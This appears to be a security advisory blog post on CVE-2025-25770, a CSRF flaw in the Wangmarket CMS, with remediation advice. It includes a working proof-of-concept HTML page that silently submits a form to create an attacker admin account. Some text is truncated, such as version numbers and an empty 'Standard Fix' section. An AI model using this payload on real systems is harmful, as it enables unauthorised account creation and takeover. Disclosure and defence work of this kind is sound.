Wangmarket is a known commercial CMS used by businesses and agencies, especially in China. In early 2025, a serious security flaw was found in Wangmarket versions 4.10 to 5.. This post will explain this vulnerability, how it works, and how an attacker could exploit it—in plain simple terms, with working code example and references.

Affected Software: Wangmarket (v4.10, v4.20, v4.30, ..., v5.)

- Component: /agency/AgencyUserController.java

Vulnerability Type: Cross-Site Request Forgery (CSRF)

- Risk: An attacker can trick logged-in Wangmarket agency users (like admins) into performing actions without their knowledge—like adding users, resetting passwords, or even deleting data.

How Does The CSRF Work Here?

Wangmarket’s /agency/AgencyUserController.java lets agency admins (the companies’ backend managers) complete sensitive actions—think “add user”, “edit user”, “delete user” and more—all by sending HTTP POST or GET requests.

In the affected versions, these requests do not verify any CSRF token or secondary authentication. That means, if you are logged into Wangmarket as admin, and you visit a malicious website, the attacker can sneak in forged requests and the Wangmarket server will believe you meant to take those actions.

Attacker lures victim to visit a malicious website—via email, IM, ads, etc.

3. The malicious webpage sends a forged request to a sensitive Wangmarket endpoint (like "Add User").

The softwa

re, missing CSRF protection, sees only the victim's valid session cookie and processes the request.
5. New user is created, or password reset, or privilege escalated, etc.—without the admin’s knowledge.

Example Exploit Code

Let’s make this real with a simplified code snippet. Suppose Wangmarket’s management portal is at https://yourcompany.com/agency/addUser. You want to show how an attacker could add a new admin user from the victim’s session.

Malicious HTML (the attacker’s fake site)

<!DOCTYPE html>
<html>
  <body>
    <h2>Welcome to Cool Free Gifts!</h2>
    <form action="https://yourcompany.com/agency/addUser" method="POST" id="xform">
      <input type="hidden" name="username" value="attacker_admin">
      <input type="hidden" name="password" value="SuperSecretPass123">
      <input type="hidden" name="role" value="admin">
    </form>
    <script>
      document.getElementById("xform").submit();
    </script>
  </body>
</html>

How it works:
- If a Wangmarket admin visits this page while logged in, their browser auto-submits the hidden form to the agency backend.
- The request uses the admin’s cookies/session.

Why Did This Happen?

No CSRF protection:
AgencyUserController.java accepts the POST/GET data and performs actions with just the user's session as identity. It doesn’t require a CSRF token (a random string given to each real user, and checked for each POST)—which is basic security for modern web apps.

Standard Fix:

Who Is At Risk?

Anyone using Wangmarket v4.10 through v5. for agency/enterprise business sites. If you have public-facing CMS admin logins, and admin staff visit other (malicious) web pages, CSRF is a risk.

What Should I Do Now?

1. Patch/Update:
Check for and upgrade to the latest Wangmarket release—this is the only way to fix the root flaw.

2. Temporary Workaround:
Restrict admin access by IP, use a browser extension to block 3rd-party POSTs, and train admin staff to avoid unknown sites while logged into the backend.

3. Monitor:
Watch user accounts for unexpected new users or password resets.

References

- CVE-2025-25770 NIST Entry (coming soon)
- Wangmarket Official Site
- OWASP CSRF Cheat Sheet

Summary Table

| Version | CSRF Vulnerable? | Patch Available? |
|-------------------|------------------|------------------|
| 4.10 - 5. | Yes | Yes (Upgrade) |
| 5.1 and later | Not Vulnerable | N/A |

CVE-2025-25770: Wangmarket < v5.1 lets attackers abuse agency admin actions via CSRF.

- Attackers can add/modify users if you’re logged in and visit a bad site.

Upgrade now & always use CSRF tokens!

If you run Wangmarket, patch and inform your admins! If you found this useful, share it to keep others safe.

Timeline

Published on: 02/21/2025 19:15:14 UTC
Last modified on: 02/24/2025 18:15:20 UTC